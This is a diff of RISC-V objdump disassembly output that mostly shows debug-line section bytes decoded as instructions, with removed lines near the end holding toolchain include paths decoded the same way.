-    24d6:	0900                	addi	s0,sp,144
-    24d8:	0000                	unimp
-    24da:	0501                	addi	a0,a0,0
-    24dc:	001e                	c.slli	zero,0x7
-    24de:	0402                	c.slli64	s0
-    24e0:	0301                	addi	t1,t1,0
-    24e2:	0900                	addi	s0,sp,144
-    24e4:	0006                	c.slli	zero,0x1
-    24e6:	0501                	addi	a0,a0,0
-    24e8:	0604                	addi	s1,sp,768
-    24ea:	08090203          	lb	tp,128(s2)
-    24ee:	0100                	addi	s0,sp,128
-    24f0:	0805                	addi	a6,a6,1
-    24f2:	0306                	slli	t1,t1,0x1
-    24f4:	0900                	addi	s0,sp,144
-    24f6:	0000                	unimp
-    24f8:	0501                	addi	a0,a0,0
-    24fa:	09000307          	0x9000307
-    24fe:	0008                	0x8
-    2500:	0501                	addi	a0,a0,0
-    2502:	001f 0402 0301      	0x3010402001f
-    2508:	0900                	addi	s0,sp,144
-    250a:	0002                	c.slli64	zero
-    250c:	0501                	addi	a0,a0,0
-    250e:	001c                	0x1c
-    2510:	0402                	c.slli64	s0
-    2512:	0301                	addi	t1,t1,0
-    2514:	0900                	addi	s0,sp,144
-    2516:	000e                	c.slli	zero,0x3
-    2518:	0501                	addi	a0,a0,0
-    251a:	04020023          	sb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    251e:	01030603          	lb	a2,16(t1)
-    2522:	0609                	addi	a2,a2,2
-    2524:	0100                	addi	s0,sp,128
-    2526:	3105                	jal	2146 <__stack_size+0x1946>
-    2528:	0200                	addi	s0,sp,256
-    252a:	0304                	addi	s1,sp,384
-    252c:	0306                	slli	t1,t1,0x1
-    252e:	0900                	addi	s0,sp,144
-    2530:	0000                	unimp
-    2532:	0501                	addi	a0,a0,0
-    2534:	04020023          	sb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    2538:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    253c:	0006                	c.slli	zero,0x1
-    253e:	0501                	addi	a0,a0,0
-    2540:	001e                	c.slli	zero,0x7
-    2542:	0402                	c.slli64	s0
-    2544:	00030603          	lb	a2,0(t1)
-    2548:	0609                	addi	a2,a2,2
-    254a:	0100                	addi	s0,sp,128
-    254c:	1705                	addi	a4,a4,-31
-    254e:	0200                	addi	s0,sp,256
-    2550:	0304                	addi	s1,sp,384
-    2552:	00090003          	lb	zero,0(s2)
-    2556:	0100                	addi	s0,sp,128
-    2558:	0505                	addi	a0,a0,1
-    255a:	0200                	addi	s0,sp,256
-    255c:	0304                	addi	s1,sp,384
-    255e:	0306                	slli	t1,t1,0x1
-    2560:	0900                	addi	s0,sp,144
-    2562:	0000                	unimp
-    2564:	0601                	addi	a2,a2,0
-    2566:	04090103          	lb	sp,64(s2)
-    256a:	0100                	addi	s0,sp,128
-    256c:	0605                	addi	a2,a2,1
-    256e:	0c090103          	lb	sp,192(s2)
-    2572:	0100                	addi	s0,sp,128
-    2574:	0805                	addi	a6,a6,1
-    2576:	0306                	slli	t1,t1,0x1
-    2578:	0900                	addi	s0,sp,144
-    257a:	0000                	unimp
-    257c:	0501                	addi	a0,a0,0
-    257e:	0304                	addi	s1,sp,384
-    2580:	0901                	addi	s2,s2,0
-    2582:	0002                	c.slli64	zero
-    2584:	0501                	addi	a0,a0,0
-    2586:	0308                	addi	a0,sp,384
-    2588:	097f                	0x97f
-    258a:	000c                	0xc
-    258c:	0501                	addi	a0,a0,0
-    258e:	0604                	addi	s1,sp,768
-    2590:	08090103          	lb	sp,128(s2)
-    2594:	0100                	addi	s0,sp,128
-    2596:	0805                	addi	a6,a6,1
-    2598:	097fa703          	lw	a4,151(t6) # fffed097 <_heap_end+0x7ffde897>
-    259c:	0004                	0x4
-    259e:	0501                	addi	a0,a0,0
-    25a0:	0614                	addi	a3,sp,768
-    25a2:	0900d003          	lhu	zero,144(ra)
-    25a6:	0000                	unimp
-    25a8:	0501                	addi	a0,a0,0
-    25aa:	0301                	addi	t1,t1,0
-    25ac:	0912                	slli	s2,s2,0x4
-    25ae:	0002                	c.slli64	zero
-    25b0:	0501                	addi	a0,a0,0
-    25b2:	060a                	slli	a2,a2,0x2
-    25b4:	097fae03          	lw	t3,151(t6)
-    25b8:	0016                	c.slli	zero,0x5
-    25ba:	0501                	addi	a0,a0,0
-    25bc:	060d                	addi	a2,a2,3
-    25be:	00090003          	lb	zero,0(s2)
-    25c2:	0100                	addi	s0,sp,128
-    25c4:	0a05                	addi	s4,s4,1
-    25c6:	0306                	slli	t1,t1,0x1
-    25c8:	092d                	addi	s2,s2,11
-    25ca:	0006                	c.slli	zero,0x1
-    25cc:	0501                	addi	a0,a0,0
-    25ce:	060d                	addi	a2,a2,3
-    25d0:	00090003          	lb	zero,0(s2)
-    25d4:	0100                	addi	s0,sp,128
-    25d6:	1705                	addi	a4,a4,-31
-    25d8:	0200                	addi	s0,sp,256
-    25da:	0204                	addi	s1,sp,256
-    25dc:	06090003          	lb	zero,96(s2)
-    25e0:	0100                	addi	s0,sp,128
-    25e2:	2905                	jal	2a12 <__stack_size+0x2212>
-    25e4:	0200                	addi	s0,sp,256
-    25e6:	0304                	addi	s1,sp,384
-    25e8:	08090003          	lb	zero,128(s2)
-    25ec:	0100                	addi	s0,sp,128
-    25ee:	2505                	jal	2c0e <__stack_size+0x240e>
-    25f0:	0200                	addi	s0,sp,256
-    25f2:	0304                	addi	s1,sp,384
-    25f4:	04090003          	lb	zero,64(s2)
-    25f8:	0100                	addi	s0,sp,128
-    25fa:	2c05                	jal	282a <__stack_size+0x202a>
-    25fc:	0200                	addi	s0,sp,256
-    25fe:	0404                	addi	s1,sp,512
-    2600:	04090003          	lb	zero,64(s2)
-    2604:	0100                	addi	s0,sp,128
-    2606:	0405                	addi	s0,s0,1
-    2608:	0306                	slli	t1,t1,0x1
-    260a:	0901                	addi	s2,s2,0
-    260c:	0004                	0x4
-    260e:	0501                	addi	a0,a0,0
-    2610:	0605                	addi	a2,a2,1
-    2612:	00090003          	lb	zero,0(s2)
+    24ce:	0505                	addi	a0,a0,1
+    24d0:	02090003          	lb	zero,32(s2)
+    24d4:	0100                	addi	s0,sp,128
+    24d6:	0305                	addi	t1,t1,1
+    24d8:	0306                	slli	t1,t1,0x1
+    24da:	0902                	c.slli64	s2
+    24dc:	0002                	c.slli64	zero
+    24de:	0501                	addi	a0,a0,0
+    24e0:	0616                	slli	a2,a2,0x5
+    24e2:	00090003          	lb	zero,0(s2)
+    24e6:	0100                	addi	s0,sp,128
+    24e8:	0305                	addi	t1,t1,1
+    24ea:	0306                	slli	t1,t1,0x1
+    24ec:	0901                	addi	s2,s2,0
+    24ee:	000a                	c.slli	zero,0x2
+    24f0:	0501                	addi	a0,a0,0
+    24f2:	0619                	addi	a2,a2,6
+    24f4:	00090003          	lb	zero,0(s2)
+    24f8:	0100                	addi	s0,sp,128
+    24fa:	0305                	addi	t1,t1,1
+    24fc:	0306                	slli	t1,t1,0x1
+    24fe:	0901                	addi	s2,s2,0
+    2500:	0004                	0x4
+    2502:	0501                	addi	a0,a0,0
+    2504:	0619                	addi	a2,a2,6
+    2506:	00090003          	lb	zero,0(s2)
+    250a:	0100                	addi	s0,sp,128
+    250c:	0605                	addi	a2,a2,1
+    250e:	0306                	slli	t1,t1,0x1
+    2510:	0901                	addi	s2,s2,0
+    2512:	0002                	c.slli64	zero
+    2514:	0501                	addi	a0,a0,0
+    2516:	061c                	addi	a5,sp,768
+    2518:	00090003          	lb	zero,0(s2)
+    251c:	0100                	addi	s0,sp,128
+    251e:	0305                	addi	t1,t1,1
+    2520:	0306                	slli	t1,t1,0x1
+    2522:	0902                	c.slli64	s2
+    2524:	0004                	0x4
+    2526:	0501                	addi	a0,a0,0
+    2528:	0601                	addi	a2,a2,0
+    252a:	00090503          	lb	a0,0(s2)
+    252e:	0100                	addi	s0,sp,128
+    2530:	0905                	addi	s2,s2,1
+    2532:	06097f03          	0x6097f03
+    2536:	0100                	addi	s0,sp,128
+    2538:	0409                	addi	s0,s0,2
+    253a:	0000                	unimp
+    253c:	0101                	addi	sp,sp,0
+    253e:	2c05                	jal	276e <__stack_size+0x1f6e>
+    2540:	0500                	addi	s0,sp,640
+    2542:	fe02                	fsw	ft0,60(sp)
+    2544:	4022                	0x4022
+    2546:	0320                	addi	s0,sp,392
+    2548:	00ca                	slli	ra,ra,0x12
+    254a:	0501                	addi	a0,a0,0
+    254c:	0302                	c.slli64	t1
+    254e:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    2552:	0501                	addi	a0,a0,0
+    2554:	062c                	addi	a1,sp,776
+    2556:	00097d03          	0x97d03
+    255a:	0100                	addi	s0,sp,128
+    255c:	08090003          	lb	zero,128(s2)
+    2560:	0100                	addi	s0,sp,128
+    2562:	0605                	addi	a2,a2,1
+    2564:	04090303          	lb	t1,64(s2)
+    2568:	0100                	addi	s0,sp,128
+    256a:	0505                	addi	a0,a0,1
+    256c:	02090003          	lb	zero,32(s2)
+    2570:	0100                	addi	s0,sp,128
+    2572:	0b05                	addi	s6,s6,1
+    2574:	02090203          	lb	tp,32(s2)
+    2578:	0100                	addi	s0,sp,128
+    257a:	2205                	jal	269a <__stack_size+0x1e9a>
+    257c:	02090303          	lb	t1,32(s2)
+    2580:	0100                	addi	s0,sp,128
+    2582:	0805                	addi	a6,a6,1
+    2584:	0306                	slli	t1,t1,0x1
+    2586:	0900                	addi	s0,sp,144
+    2588:	0004                	0x4
+    258a:	0501                	addi	a0,a0,0
+    258c:	0022                	c.slli	zero,0x8
+    258e:	0402                	c.slli64	s0
+    2590:	0601                	addi	a2,a2,0
+    2592:	04090003          	lb	zero,64(s2)
+    2596:	0100                	addi	s0,sp,128
+    2598:	1405                	addi	s0,s0,-31
+    259a:	0200                	addi	s0,sp,256
+    259c:	0104                	addi	s1,sp,128
+    259e:	02090003          	lb	zero,32(s2)
+    25a2:	0100                	addi	s0,sp,128
+    25a4:	0105                	addi	sp,sp,1
+    25a6:	04090903          	lb	s2,64(s2)
+    25aa:	0100                	addi	s0,sp,128
+    25ac:	0405                	addi	s0,s0,1
+    25ae:	0306                	slli	t1,t1,0x1
+    25b0:	0978                	addi	a4,sp,156
+    25b2:	000a                	c.slli	zero,0x2
+    25b4:	0501                	addi	a0,a0,0
+    25b6:	0003060b          	0x3060b
+    25ba:	0009                	c.nop	2
+    25bc:	0100                	addi	s0,sp,128
+    25be:	0d05                	addi	s10,s10,1
+    25c0:	04090003          	lb	zero,64(s2)
+    25c4:	0100                	addi	s0,sp,128
+    25c6:	0405                	addi	s0,s0,1
+    25c8:	0306                	slli	t1,t1,0x1
+    25ca:	0901                	addi	s2,s2,0
+    25cc:	0004                	0x4
+    25ce:	0501                	addi	a0,a0,0
+    25d0:	0609                	addi	a2,a2,2
+    25d2:	00090003          	lb	zero,0(s2)
+    25d6:	0100                	addi	s0,sp,128
+    25d8:	04090603          	lb	a2,64(s2)
+    25dc:	0100                	addi	s0,sp,128
+    25de:	0409                	addi	s0,s0,2
+    25e0:	0000                	unimp
+    25e2:	0101                	addi	sp,sp,0
+    25e4:	3605                	jal	2104 <__stack_size+0x1904>
+    25e6:	0500                	addi	s0,sp,640
+    25e8:	3802                	fld	fa6,32(sp)
+    25ea:	03204023          	0x3204023
+    25ee:	00de                	slli	ra,ra,0x17
+    25f0:	0501                	addi	a0,a0,0
+    25f2:	0302                	c.slli64	t1
+    25f4:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    25f8:	0501                	addi	a0,a0,0
+    25fa:	0636                	slli	a2,a2,0xd
+    25fc:	00097d03          	0x97d03
+    2600:	0100                	addi	s0,sp,128
+    2602:	08090003          	lb	zero,128(s2)
+    2606:	0100                	addi	s0,sp,128
+    2608:	0605                	addi	a2,a2,1
+    260a:	04090303          	lb	t1,64(s2)
+    260e:	0100                	addi	s0,sp,128
+    2610:	0505                	addi	a0,a0,1
+    2612:	02090003          	lb	zero,32(s2)
     2616:	0100                	addi	s0,sp,128
-    2618:	0405                	addi	s0,s0,1
-    261a:	0306                	slli	t1,t1,0x1
-    261c:	0901                	addi	s2,s2,0
-    261e:	0008                	0x8
-    2620:	0501                	addi	a0,a0,0
-    2622:	0309                	addi	t1,t1,2
-    2624:	0900                	addi	s0,sp,144
-    2626:	0000                	unimp
-    2628:	0501                	addi	a0,a0,0
-    262a:	0012                	c.slli	zero,0x4
-    262c:	0402                	c.slli64	s0
-    262e:	0301                	addi	t1,t1,0
-    2630:	0900                	addi	s0,sp,144
-    2632:	0002                	c.slli64	zero
-    2634:	0501                	addi	a0,a0,0
-    2636:	0014                	0x14
-    2638:	0402                	c.slli64	s0
-    263a:	0601                	addi	a2,a2,0
-    263c:	00090003          	lb	zero,0(s2)
-    2640:	0100                	addi	s0,sp,128
-    2642:	0405                	addi	s0,s0,1
-    2644:	0200                	addi	s0,sp,256
-    2646:	0104                	addi	s1,sp,128
-    2648:	06090003          	lb	zero,96(s2)
-    264c:	0100                	addi	s0,sp,128
-    264e:	0306                	slli	t1,t1,0x1
-    2650:	0901                	addi	s2,s2,0
-    2652:	0004                	0x4
-    2654:	0301                	addi	t1,t1,0
-    2656:	0901                	addi	s2,s2,0
-    2658:	0010                	0x10
-    265a:	0301                	addi	t1,t1,0
-    265c:	0901                	addi	s2,s2,0
-    265e:	0010                	0x10
-    2660:	0301                	addi	t1,t1,0
-    2662:	0901                	addi	s2,s2,0
-    2664:	0010                	0x10
-    2666:	0501                	addi	a0,a0,0
-    2668:	060d                	addi	a2,a2,3
-    266a:	00090003          	lb	zero,0(s2)
-    266e:	0100                	addi	s0,sp,128
-    2670:	1c05                	addi	s8,s8,-31
-    2672:	02090003          	lb	zero,32(s2)
+    2618:	0b05                	addi	s6,s6,1
+    261a:	08090603          	lb	a2,128(s2)
+    261e:	0100                	addi	s0,sp,128
+    2620:	0705                	addi	a4,a4,1
+    2622:	04090403          	lb	s0,64(s2)
+    2626:	0100                	addi	s0,sp,128
+    2628:	1b05                	addi	s6,s6,-31
+    262a:	02090203          	lb	tp,32(s2)
+    262e:	0100                	addi	s0,sp,128
+    2630:	1605                	addi	a2,a2,-31
+    2632:	0200                	addi	s0,sp,256
+    2634:	0104                	addi	s1,sp,128
+    2636:	0306                	slli	t1,t1,0x1
+    2638:	0978                	addi	a4,sp,156
+    263a:	0002                	c.slli64	zero
+    263c:	0501                	addi	a0,a0,0
+    263e:	04020003          	lb	zero,64(tp) # 1a040 <__stack_size+0x19840>
+    2642:	0601                	addi	a2,a2,0
+    2644:	00090003          	lb	zero,0(s2)
+    2648:	0100                	addi	s0,sp,128
+    264a:	0105                	addi	sp,sp,1
+    264c:	04091103          	lh	sp,64(s2)
+    2650:	0100                	addi	s0,sp,128
+    2652:	2f05                	jal	2d82 <__stack_size+0x2582>
+    2654:	0200                	addi	s0,sp,256
+    2656:	0104                	addi	s1,sp,128
+    2658:	0306                	slli	t1,t1,0x1
+    265a:	0971                	addi	s2,s2,28
+    265c:	000c                	0xc
+    265e:	0501                	addi	a0,a0,0
+    2660:	000a                	c.slli	zero,0x2
+    2662:	0402                	c.slli64	s0
+    2664:	0301                	addi	t1,t1,0
+    2666:	0900                	addi	s0,sp,144
+    2668:	0000                	unimp
+    266a:	0501                	addi	a0,a0,0
+    266c:	0402000b          	0x402000b
+    2670:	0601                	addi	a2,a2,0
+    2672:	00090003          	lb	zero,0(s2)
     2676:	0100                	addi	s0,sp,128
-    2678:	0d05                	addi	s10,s10,1
-    267a:	02090003          	lb	zero,32(s2)
-    267e:	0100                	addi	s0,sp,128
-    2680:	1c05                	addi	s8,s8,-31
-    2682:	04090003          	lb	zero,64(s2)
-    2686:	0100                	addi	s0,sp,128
-    2688:	0405                	addi	s0,s0,1
-    268a:	04090003          	lb	zero,64(s2)
-    268e:	0100                	addi	s0,sp,128
-    2690:	0306                	slli	t1,t1,0x1
-    2692:	0901                	addi	s2,s2,0
-    2694:	000e                	c.slli	zero,0x3
-    2696:	0901                	addi	s2,s2,0
-    2698:	000c                	0xc
-    269a:	0100                	addi	s0,sp,128
-    269c:	0501                	addi	a0,a0,0
-    269e:	0011                	c.nop	4
-    26a0:	0205                	addi	tp,tp,1
-    26a2:	189c                	addi	a5,sp,112
-    26a4:	2040                	fld	fs0,128(s0)
-    26a6:	0104c903          	lbu	s2,16(s1)
-    26aa:	0205                	addi	tp,tp,1
-    26ac:	00090603          	lb	a2,0(s2)
-    26b0:	0100                	addi	s0,sp,128
-    26b2:	00090003          	lb	zero,0(s2)
-    26b6:	0100                	addi	s0,sp,128
-    26b8:	1105                	addi	sp,sp,-31
-    26ba:	0306                	slli	t1,t1,0x1
-    26bc:	097a                	slli	s2,s2,0x1e
-    26be:	0000                	unimp
-    26c0:	0501                	addi	a0,a0,0
-    26c2:	0302                	c.slli64	t1
-    26c4:	0906                	slli	s2,s2,0x1
-    26c6:	0008                	0x8
-    26c8:	0601                	addi	a2,a2,0
-    26ca:	0c090103          	lb	sp,192(s2)
-    26ce:	0100                	addi	s0,sp,128
+    2678:	0a05                	addi	s4,s4,1
+    267a:	0200                	addi	s0,sp,256
+    267c:	0104                	addi	s1,sp,128
+    267e:	02090003          	lb	zero,32(s2)
+    2682:	0100                	addi	s0,sp,128
+    2684:	0405                	addi	s0,s0,1
+    2686:	0306                	slli	t1,t1,0x1
+    2688:	0902                	c.slli64	s2
+    268a:	0004                	0x4
+    268c:	0501                	addi	a0,a0,0
+    268e:	0620                	addi	s0,sp,776
+    2690:	00090003          	lb	zero,0(s2)
+    2694:	0100                	addi	s0,sp,128
+    2696:	1a05                	addi	s4,s4,-31
+    2698:	04090003          	lb	zero,64(s2)
+    269c:	0100                	addi	s0,sp,128
+    269e:	0405                	addi	s0,s0,1
+    26a0:	0306                	slli	t1,t1,0x1
+    26a2:	0902                	c.slli64	s2
+    26a4:	0002                	c.slli64	zero
+    26a6:	0501                	addi	a0,a0,0
+    26a8:	00030607          	0x30607
+    26ac:	0009                	c.nop	2
+    26ae:	0100                	addi	s0,sp,128
+    26b0:	3005                	jal	1ed0 <__stack_size+0x16d0>
+    26b2:	0200                	addi	s0,sp,256
+    26b4:	0104                	addi	s1,sp,128
+    26b6:	0306                	slli	t1,t1,0x1
+    26b8:	0901                	addi	s2,s2,0
+    26ba:	0008                	0x8
+    26bc:	0501                	addi	a0,a0,0
+    26be:	0402000b          	0x402000b
+    26c2:	0301                	addi	t1,t1,0
+    26c4:	0900                	addi	s0,sp,144
+    26c6:	0000                	unimp
+    26c8:	0501                	addi	a0,a0,0
+    26ca:	000c                	0xc
+    26cc:	0402                	c.slli64	s0
+    26ce:	0601                	addi	a2,a2,0
     26d0:	00090003          	lb	zero,0(s2)
     26d4:	0100                	addi	s0,sp,128
-    26d6:	00090003          	lb	zero,0(s2)
-    26da:	0100                	addi	s0,sp,128
-    26dc:	00090003          	lb	zero,0(s2)
+    26d6:	0b05                	addi	s6,s6,1
+    26d8:	0200                	addi	s0,sp,256
+    26da:	0104                	addi	s1,sp,128
+    26dc:	02090003          	lb	zero,32(s2)
     26e0:	0100                	addi	s0,sp,128
-    26e2:	0a090003          	lb	zero,160(s2)
-    26e6:	0100                	addi	s0,sp,128
-    26e8:	0505                	addi	a0,a0,1
-    26ea:	00090103          	lb	sp,0(s2)
-    26ee:	0100                	addi	s0,sp,128
-    26f0:	00090003          	lb	zero,0(s2)
-    26f4:	0100                	addi	s0,sp,128
-    26f6:	00090003          	lb	zero,0(s2)
-    26fa:	0100                	addi	s0,sp,128
-    26fc:	00090003          	lb	zero,0(s2)
-    2700:	0100                	addi	s0,sp,128
-    2702:	04090003          	lb	zero,64(s2)
-    2706:	0100                	addi	s0,sp,128
-    2708:	0205                	addi	tp,tp,1
-    270a:	00090303          	lb	t1,0(s2)
-    270e:	0100                	addi	s0,sp,128
-    2710:	5105                	li	sp,-31
-    2712:	0306                	slli	t1,t1,0x1
-    2714:	0900                	addi	s0,sp,144
-    2716:	0000                	unimp
-    2718:	0501                	addi	a0,a0,0
-    271a:	0602                	c.slli64	a2
-    271c:	08090103          	lb	sp,128(s2)
-    2720:	0100                	addi	s0,sp,128
-    2722:	1b05                	addi	s6,s6,-31
-    2724:	0306                	slli	t1,t1,0x1
-    2726:	0900                	addi	s0,sp,144
-    2728:	0000                	unimp
-    272a:	0501                	addi	a0,a0,0
-    272c:	0302                	c.slli64	t1
-    272e:	0902                	c.slli64	s2
-    2730:	0006                	c.slli	zero,0x1
-    2732:	0501                	addi	a0,a0,0
-    2734:	097e031b          	0x97e031b
-    2738:	0004                	0x4
-    273a:	0501                	addi	a0,a0,0
-    273c:	0602                	c.slli64	a2
-    273e:	06090203          	lb	tp,96(s2)
-    2742:	0100                	addi	s0,sp,128
-    2744:	0c090203          	lb	tp,192(s2)
-    2748:	0100                	addi	s0,sp,128
-    274a:	0c090203          	lb	tp,192(s2)
-    274e:	0100                	addi	s0,sp,128
-    2750:	0c090103          	lb	sp,192(s2)
-    2754:	0100                	addi	s0,sp,128
-    2756:	0c090103          	lb	sp,192(s2)
-    275a:	0100                	addi	s0,sp,128
-    275c:	0c090103          	lb	sp,192(s2)
-    2760:	0100                	addi	s0,sp,128
-    2762:	0c090103          	lb	sp,192(s2)
-    2766:	0100                	addi	s0,sp,128
-    2768:	0c090103          	lb	sp,192(s2)
-    276c:	0100                	addi	s0,sp,128
-    276e:	0c090103          	lb	sp,192(s2)
-    2772:	0100                	addi	s0,sp,128
-    2774:	0c090103          	lb	sp,192(s2)
-    2778:	0100                	addi	s0,sp,128
-    277a:	0c090103          	lb	sp,192(s2)
-    277e:	0100                	addi	s0,sp,128
-    2780:	0c090103          	lb	sp,192(s2)
-    2784:	0100                	addi	s0,sp,128
-    2786:	0505                	addi	a0,a0,1
-    2788:	0c090203          	lb	tp,192(s2)
-    278c:	0100                	addi	s0,sp,128
-    278e:	0205                	addi	tp,tp,1
-    2790:	02090203          	lb	tp,32(s2)
-    2794:	0100                	addi	s0,sp,128
-    2796:	0405                	addi	s0,s0,1
-    2798:	0306                	slli	t1,t1,0x1
-    279a:	0906                	slli	s2,s2,0x1
-    279c:	0010                	0x10
-    279e:	0501                	addi	a0,a0,0
-    27a0:	030c                	addi	a1,sp,384
-    27a2:	0906                	slli	s2,s2,0x1
-    27a4:	0008                	0x8
-    27a6:	0501                	addi	a0,a0,0
-    27a8:	0605                	addi	a2,a2,1
-    27aa:	04097603          	0x4097603
-    27ae:	0100                	addi	s0,sp,128
-    27b0:	0305                	addi	t1,t1,1
-    27b2:	00090203          	lb	tp,0(s2)
-    27b6:	0100                	addi	s0,sp,128
-    27b8:	0705                	addi	a4,a4,1
-    27ba:	0306                	slli	t1,t1,0x1
-    27bc:	0900                	addi	s0,sp,144
-    27be:	0000                	unimp
-    27c0:	0501                	addi	a0,a0,0
-    27c2:	0306                	slli	t1,t1,0x1
-    27c4:	0900                	addi	s0,sp,144
-    27c6:	0004                	0x4
-    27c8:	0501                	addi	a0,a0,0
-    27ca:	0604                	addi	s1,sp,768
-    27cc:	02090103          	lb	sp,32(s2)
-    27d0:	0100                	addi	s0,sp,128
-    27d2:	04090103          	lb	sp,64(s2)
-    27d6:	0100                	addi	s0,sp,128
-    27d8:	0a090103          	lb	sp,160(s2)
-    27dc:	0100                	addi	s0,sp,128
-    27de:	1005                	c.nop	-31
-    27e0:	0306                	slli	t1,t1,0x1
-    27e2:	0900                	addi	s0,sp,144
-    27e4:	0000                	unimp
-    27e6:	0501                	addi	a0,a0,0
-    27e8:	03030603          	lb	a2,48(t1)
-    27ec:	0409                	addi	s0,s0,2
-    27ee:	0100                	addi	s0,sp,128
-    27f0:	04090203          	lb	tp,64(s2)
-    27f4:	0100                	addi	s0,sp,128
-    27f6:	0c05                	addi	s8,s8,1
-    27f8:	0306                	slli	t1,t1,0x1
-    27fa:	0900                	addi	s0,sp,144
-    27fc:	0000                	unimp
-    27fe:	0501                	addi	a0,a0,0
-    2800:	0305                	addi	t1,t1,1
-    2802:	0900                	addi	s0,sp,144
-    2804:	0002                	c.slli64	zero
-    2806:	0501                	addi	a0,a0,0
-    2808:	0604                	addi	s1,sp,768
-    280a:	02090103          	lb	sp,32(s2)
-    280e:	0100                	addi	s0,sp,128
-    2810:	0809                	addi	a6,a6,2
-    2812:	0000                	unimp
-    2814:	0101                	addi	sp,sp,0
-    2816:	0000071b          	0x71b
-    281a:	03630003          	lb	zero,54(t1)
-    281e:	0000                	unimp
-    2820:	0101                	addi	sp,sp,0
-    2822:	000d0efb          	0xd0efb
-    2826:	0101                	addi	sp,sp,0
-    2828:	0101                	addi	sp,sp,0
-    282a:	0000                	unimp
-    282c:	0100                	addi	s0,sp,128
-    282e:	0000                	unimp
-    2830:	2e01                	jal	2b40 <__stack_size+0x2340>
-    2832:	2f2e                	fld	ft10,200(sp)
-    2834:	7362                	flw	ft6,56(sp)
-    2836:	2f70                	fld	fa2,216(a4)
-    2838:	3358                	fld	fa4,160(a4)
-    283a:	3030                	fld	fa2,96(s0)
-    283c:	77656e2f          	0x77656e2f
-    2840:	696c                	flw	fa1,84(a0)
-    2842:	0062                	c.slli	zero,0x18
-    2844:	6d6f682f          	0x6d6f682f
-    2848:	2f65                	jal	3000 <__stack_size+0x2800>
-    284a:	6972                	flw	fs2,28(sp)
-    284c:	2f766373          	csrrsi	t1,0x2f7,12
-    2850:	6f74                	flw	fa3,92(a4)
-    2852:	2f736c6f          	jal	s8,39348 <__stack_size+0x38b48>
-    2856:	6972                	flw	fs2,28(sp)
-    2858:	2d766373          	csrrsi	t1,0x2d7,12
-    285c:	2d756e67          	0x2d756e67
-    2860:	6f74                	flw	fa3,92(a4)
-    2862:	68636c6f          	jal	s8,38ee8 <__stack_size+0x386e8>
-    2866:	6961                	lui	s2,0x18
-    2868:	2d6e                	fld	fs10,216(sp)
-    286a:	6568                	flw	fa0,76(a0)
-    286c:	6678                	flw	fa4,76(a2)
-    286e:	7669                	lui	a2,0xffffa
-    2870:	2f65                	jal	3028 <__stack_size+0x2828>
-    2872:	696c                	flw	fa1,84(a0)
-    2874:	2f62                	fld	ft10,24(sp)
-    2876:	2f636367          	0x2f636367
-    287a:	6972                	flw	fs2,28(sp)
-    287c:	36766373          	csrrsi	t1,0x367,12
-    2880:	2d34                	fld	fa3,88(a0)
-    2882:	6e75                	lui	t3,0x1d
-    2884:	776f6e6b          	0x776f6e6b
-    2888:	2d6e                	fld	fs10,216(sp)
-    288a:	6c65                	lui	s8,0x19
-    288c:	2f66                	fld	ft10,88(sp)
-    288e:	3031                	jal	209a <__stack_size+0x189a>
-    2890:	312e                	fld	ft2,232(sp)
-    2892:	302e                	fld	ft0,232(sp)
-    2894:	636e692f          	0x636e692f
-    2898:	756c                	flw	fa1,108(a0)
-    289a:	6564                	flw	fs1,76(a0)
-    289c:	2f00                	fld	fs0,24(a4)
-    289e:	6f68                	flw	fa0,92(a4)
-    28a0:	656d                	lui	a0,0x1b
-    28a2:	7369722f          	0x7369722f
-    28a6:	742f7663          	bgeu	t5,sp,2ff2 <__stack_size+0x27f2>
-    28aa:	736c6f6f          	jal	t5,c8fe0 <__stack_size+0xc87e0>
-    28ae:	7369722f          	0x7369722f
-    28b2:	672d7663          	bgeu	s10,s2,2f1e <__stack_size+0x271e>
-    28b6:	756e                	flw	fa0,248(sp)
-    28b8:	742d                	lui	s0,0xfffeb
-    28ba:	636c6f6f          	jal	t5,c8ef0 <__stack_size+0xc86f0>
-    28be:	6168                	flw	fa0,68(a0)
-    28c0:	6e69                	lui	t3,0x1a
-    28c2:	682d                	lui	a6,0xb
-    28c4:	7865                	lui	a6,0xffff9
-    28c6:	6966                	flw	fs2,88(sp)
-    28c8:	6576                	flw	fa0,92(sp)
-    28ca:	7369722f          	0x7369722f
-    28ce:	34367663          	bgeu	a2,gp,2c1a <__stack_size+0x241a>
-    28d2:	752d                	lui	a0,0xfffeb
-    28d4:	6b6e                	flw	fs6,216(sp)
-    28d6:	6f6e                	flw	ft10,216(sp)
-    28d8:	652d6e77          	0x652d6e77
-    28dc:	666c                	flw	fa1,76(a2)
-    28de:	636e692f          	0x636e692f
-    28e2:	756c                	flw	fa1,108(a0)
-    28e4:	6564                	flw	fs1,76(a0)
-    28e6:	63616d2f          	0x63616d2f
-    28ea:	6968                	flw	fa0,84(a0)
-    28ec:	656e                	flw	fa0,216(sp)
-    28ee:	2f00                	fld	fs0,24(a4)
-    28f0:	6f68                	flw	fa0,92(a4)
-    28f2:	656d                	lui	a0,0x1b
-    28f4:	7369722f          	0x7369722f
-    28f8:	742f7663          	bgeu	t5,sp,3044 <__stack_size+0x2844>
-    28fc:	736c6f6f          	jal	t5,c9032 <__stack_size+0xc8832>
-    2900:	7369722f          	0x7369722f
-    2904:	672d7663          	bgeu	s10,s2,2f70 <__stack_size+0x2770>
-    2908:	756e                	flw	fa0,248(sp)
-    290a:	742d                	lui	s0,0xfffeb
-    290c:	636c6f6f          	jal	t5,c8f42 <__stack_size+0xc8742>
-    2910:	6168                	flw	fa0,68(a0)
-    2912:	6e69                	lui	t3,0x1a
-    2914:	682d                	lui	a6,0xb
-    2916:	7865                	lui	a6,0xffff9
-    2918:	6966                	flw	fs2,88(sp)
-    291a:	6576                	flw	fa0,92(sp)
-    291c:	7369722f          	0x7369722f
-    2920:	34367663          	bgeu	a2,gp,2c6c <__stack_size+0x246c>
-    2924:	752d                	lui	a0,0xfffeb
-    2926:	6b6e                	flw	fs6,216(sp)
-    2928:	6f6e                	flw	ft10,216(sp)
-    292a:	652d6e77          	0x652d6e77
-    292e:	666c                	flw	fa1,76(a2)
-    2930:	636e692f          	0x636e692f
-    2934:	756c                	flw	fa1,108(a0)
-    2936:	6564                	flw	fs1,76(a0)
-    2938:	7379732f          	0x7379732f
-    293c:	2f00                	fld	fs0,24(a4)
